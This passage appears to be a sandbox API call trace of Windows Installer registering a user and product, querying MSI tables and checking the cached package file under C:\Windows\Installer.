lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="RegisterUser") returned -1 [0149.656] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="RegisterUser") returned -1 [0149.656] lstrcmpW (lpString1="RegisterUser", lpString2="RegisterUser") returned 0 [0149.656] lstrlenW (lpString="ProductLanguage") returned 15 [0149.656] FormatMessageW (in: dwFlags=0x800, lpSource=0xc20002, dwMessageId=0x7557, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Registering user\x09[1]\r\n") returned 0x16 [0149.657] lstrlenW (lpString="[1]") returned 3 [0149.657] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.657] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.657] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.657] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.657] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.657] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.657] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.657] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.657] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.657] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.657] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.659] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.659] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.659] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.659] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.659] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.659] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.659] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.659] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.659] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.659] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.659] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.662] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.662] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.662] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.662] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.662] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.662] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.662] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.662] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.662] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.662] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.662] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.663] lstrcmpW (lpString1="Advertise", lpString2="RegisterProduct") returned -1 [0149.663] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="AppSearch", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="BindImage", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="CCPSearch", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="CostFinalize", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="CostInitialize", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="CreateFolders", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="CreateShortcuts", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="DeleteServices", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="DuplicateFiles", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="FileCost", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="FindRelatedProducts", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="GenerateScript", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallAdminPackage", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallFiles", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallODBC", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallServices", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="InstallValidate", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="LaunchConditions", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="MoveFiles", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="PatchFiles", lpString2="RegisterProduct") returned -1 [0149.664] lstrcmpW (lpString1="ProcessComponents", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="PublishComponents", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="PublishFeatures", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="PublishProduct", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterClassInfo", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterComPlus", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterFonts", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="RegisterProduct") returned -1 [0149.665] lstrcmpW (lpString1="RegisterProduct", lpString2="RegisterProduct") returned 0 [0149.665] lstrlenW (lpString="ProductLanguage") returned 15 [0149.665] FormatMessageW (in: dwFlags=0x800, lpSource=0xc20002, dwMessageId=0x7554, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Registering product\x09[1]\r\n") returned 0x19 [0149.666] lstrlenW (lpString="[1]") returned 3 [0149.666] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.666] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.666] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.666] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.666] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.667] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.667] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.667] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.667] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.667] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.667] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.668] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.668] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.668] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.668] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.668] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x33c)) [0149.668] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.668] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.668] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.668] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.668] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.668] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.670] _vsnwprintf (in: _Buffer=0x10cdf10, _BufferCount=0xff, _Format="SELECT `LastSequence`, `DiskPrompt`,%s,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`", _ArgList=0x10cdee8 | out: _Buffer="SELECT `LastSequence`, `DiskPrompt`,`VolumeLabel`,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`") returned 109 [0149.670] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0149.671] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.671] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.671] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.671] lstrlenW (lpString="Media") returned 5 [0149.671] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈖䌧䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdb30, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.671] IStream:Stat (in: This=0x32f000, pstatstg=0x10cda90, grfStatFlag=0x1 | out: pstatstg=0x10cda90) returned 0x0 [0149.671] GlobalLock (hMem=0xf40228) returned 0x3c2880 [0149.671] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x1, pcbRead=0x372cbc*=0xe) returned 0x0 [0149.671] memcpy (in: _Dst=0x10cdc08, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x10cdc08) returned 0x10cdc08 [0149.671] memcpy (in: _Dst=0x10cdc08, _Src=0x3728be, _Size=0x4 | out: _Dst=0x10cdc08) returned 0x10cdc08 [0149.671] memcpy (in: _Dst=0x3c288c, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x3c288c) returned 0x3c288c [0149.671] memcpy (in: _Dst=0x3c2890, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0149.671] memcpy (in: _Dst=0x3c2894, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x3c2894) returned 0x3c2894 [0149.671] memcpy (in: _Dst=0x3c2898, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x3c2898) returned 0x3c2898 [0149.671] IUnknown:Release (This=0x32f000) returned 0x0 [0149.671] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.671] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.671] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.672] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.672] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.672] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.672] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.673] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.673] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.673] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.673] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.673] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0149.673] lstrlenW (lpString="DiskId") returned 6 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.673] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.673] lstrlenW (lpString="LastSequence") returned 12 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.673] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.673] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.673] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.673] _vsnwprintf (in: _Buffer=0x10cdf10, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdcb8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1302") returned 50 [0149.673] GlobalLock (hMem=0xf40218) returned 0x21dff30 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.673] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.674] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.674] lstrlenW (lpString="Error") returned 5 [0149.674] GlobalUnlock (hMem=0xf40218) returned 0 [0149.674] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x5336, dwLanguageId=0x409, lpBuffer=0x10cdd10, nSize=0x100, Arguments=0x0 | out: lpBuffer="Please insert the disk: [2]\r\n") returned 0x1d [0149.674] lstrlenW (lpString="Please insert the disk: [2]") returned 27 [0149.674] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.676] GetCurrentThreadId () returned 0xf50 [0149.676] GetCurrentThreadId () returned 0xf50 [0149.676] SetEvent (hEvent=0x170) returned 1 [0149.676] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.677] memcpy (in: _Dst=0x37b0516, _Src=0x10cd788, _Size=0x2 | out: _Dst=0x37b0516) returned 0x37b0516 [0149.677] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.678] memcpy (in: _Dst=0x37b0543, _Src=0x10cdaa8, _Size=0x2 | out: _Dst=0x37b0543) returned 0x37b0543 [0149.679] GlobalUnlock (hMem=0xf40208) returned 0 [0149.679] GlobalUnlock (hMem=0xf40228) returned 0 [0149.679] UrlIsW (pszUrl="C:\\Windows\\Installer\\1876eff.msi", UrlIs=0x0) returned 0 [0149.679] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0149.679] wcsstr (_Str="\\Windows\\Installer\\1876eff.msi", _SubStr="\\\\") returned 0x0 [0149.679] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.679] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0149.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cdcd0 | out: lpFileInformation=0x10cdcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9ad800, ftCreationTime.dwHighDateTime=0x1d8a8d7, ftLastAccessTime.dwLowDateTime=0x76a57d90, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000)) returned 1 [0149.680] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.681] memcpy (in: _Dst=0x37b057f, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x37b057f) returned 0x37b057f [0149.681] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.681] lstrlenW (lpString="C:\\Windows") returned 10 [0149.681] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.681] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.681] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.681] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.682] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.682] lstrlenW (lpString="C:\\Windows") returned 10 [0149.682] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.682] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.682] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.682] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.682] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.682] UrlIsW (pszUrl="C:\\Windows\\Installer\\1876eff.msi", UrlIs=0x0) returned 0 [0149.682] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0149.682] wcsstr (_Str="\\Windows\\Installer\\1876eff.msi", _SubStr="\\\\") returned 0x0 [0149.683] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.683] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0149.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cde90 | out: lpFileInformation=0x10cde90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9ad800, ftCreationTime.dwHighDateTime=0x1d8a8d7, ftLastAccessTime.dwLowDateTime=0x76a57d90, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000)) returned 1 [0149.683] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdb60, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.683] lstrlenW (lpString="C:\\Windows") returned 10 [0149.683] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.683] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.683] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.683] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.683] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.683] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdb60, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.683] lstrlenW (lpString="C:\\Windows") returned 10 [0149.683] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.683] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.683] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.684] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.684] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.684] lstrlenW (lpString="C:\\Windows") returned 10 [0149.684] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.684] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.684] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.684] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.684] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.684] lstrlenW (lpString="C:\\Windows") returned 10 [0149.684] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.684] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.684] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.685] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.685] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.685] lstrlenW (lpString="C:\\Windows") returned 10 [0149.685] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.685] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.685] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.685] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.685] GetFileAttributesW 